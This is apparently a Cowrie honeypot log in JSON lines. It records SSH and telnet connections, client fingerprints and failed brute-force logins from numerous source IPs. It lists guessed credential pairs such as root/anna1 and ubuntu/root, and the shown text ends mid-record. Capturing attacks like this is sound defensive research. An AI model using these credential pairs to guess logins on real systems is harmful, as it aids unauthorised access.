{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":37388,"dst_ip":"159.203.135.109","dst_port":22,"session":"03d7283a75f0","protocol":"ssh","message":"New connection: 211.253.37.225:37388 (159.203.135.109:22) [session: 03d7283a75f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:19.511773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:19.516430Z","src_ip":"211.253.37.225","session":"03d7283a75f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:19.722573Z","src_ip":"211.253.37.225","session":"03d7283a75f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29754,"dst_ip":"10.17.0.5","dst_port":22,"session":"6efde03f4cab","protocol":"ssh","message":"New connection: 141.11.88.14:29754 (10.17.0.5:22) [session: 6efde03f4cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:20.209712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:20.300480Z","src_ip":"141.11.88.14","session":"6efde03f4cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:20.305009Z","src_ip":"141.11.88.14","session":"6efde03f4cab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"beta","password":"123456","message":"login attempt [beta/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:20.602554Z","src_ip":"211.253.37.225","session":"03d7283a75f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:21.464516Z","src_ip":"141.11.88.14","session":"6efde03f4cab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:21.818345Z","src_ip":"211.253.37.225","session":"03d7283a75f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:22.843933Z","src_ip":"141.11.88.14","session":"6efde03f4cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29854,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0bf8840c5b3","protocol":"ssh","message":"New connection: 141.11.88.14:29854 (10.17.0.5:22) [session: b0bf8840c5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:27.448322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:27.484135Z","src_ip":"141.11.88.14","session":"b0bf8840c5b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:27.618525Z","src_ip":"141.11.88.14","session":"b0bf8840c5b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:27.917695Z","src_ip":"141.11.88.14","session":"b0bf8840c5b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:29.057482Z","src_ip":"141.11.88.14","session":"b0bf8840c5b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":43204,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb286c045c59","protocol":"ssh","message":"New connection: 176.32.39.21:43204 (10.17.0.5:22) [session: fb286c045c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:29.415308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:29.421086Z","src_ip":"176.32.39.21","session":"fb286c045c59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:29.543550Z","src_ip":"176.32.39.21","session":"fb286c045c59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cinemabizarre","message":"login attempt [root/cinemabizarre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:29.913250Z","src_ip":"176.32.39.21","session":"fb286c045c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:31.036917Z","src_ip":"176.32.39.21","session":"fb286c045c59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":55182,"dst_ip":"10.17.0.5","dst_port":22,"session":"9efb20c9084f","protocol":"ssh","message":"New connection: 41.86.34.139:55182 (10.17.0.5:22) [session: 9efb20c9084f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:31.568686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:31.572905Z","src_ip":"41.86.34.139","session":"9efb20c9084f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:31.780013Z","src_ip":"41.86.34.139","session":"9efb20c9084f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":39188,"dst_ip":"10.17.0.5","dst_port":22,"session":"c25fe13d4186","protocol":"ssh","message":"New connection: 80.66.85.226:39188 (10.17.0.5:22) [session: c25fe13d4186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:32.125113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:32.130820Z","src_ip":"80.66.85.226","session":"c25fe13d4186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:32.222983Z","src_ip":"80.66.85.226","session":"c25fe13d4186","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna1","message":"login attempt [root/anna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:32.501921Z","src_ip":"80.66.85.226","session":"c25fe13d4186","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es@2026","message":"login attempt [es/es@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:32.645569Z","src_ip":"41.86.34.139","session":"9efb20c9084f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":33250,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd0162029cb0","protocol":"ssh","message":"New connection: 141.11.88.14:33250 (10.17.0.5:22) [session: dd0162029cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:33.420594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:33.473926Z","src_ip":"141.11.88.14","session":"dd0162029cb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:33.575493Z","src_ip":"141.11.88.14","session":"dd0162029cb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:33.596061Z","src_ip":"80.66.85.226","session":"c25fe13d4186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:33.855692Z","src_ip":"41.86.34.139","session":"9efb20c9084f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:34.343710Z","src_ip":"141.11.88.14","session":"dd0162029cb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":52364,"dst_ip":"10.17.0.5","dst_port":23,"session":"63506294b609","protocol":"telnet","message":"New connection: 94.23.66.112:52364 (10.17.0.5:23) [session: 63506294b609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:34.647065Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":43070,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f0535f06b5","protocol":"ssh","message":"New connection: 27.71.230.31:43070 (159.203.135.109:22) [session: 29f0535f06b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:35.036521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:35.124014Z","src_ip":"27.71.230.31","session":"29f0535f06b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:35.502829Z","src_ip":"141.11.88.14","session":"dd0162029cb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:37.168663Z","src_ip":"27.71.230.31","session":"29f0535f06b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59122,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceb562ddd7d9","protocol":"ssh","message":"New connection: 141.11.88.14:59122 (10.17.0.5:22) [session: ceb562ddd7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:39.311342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:39.587636Z","src_ip":"141.11.88.14","session":"ceb562ddd7d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2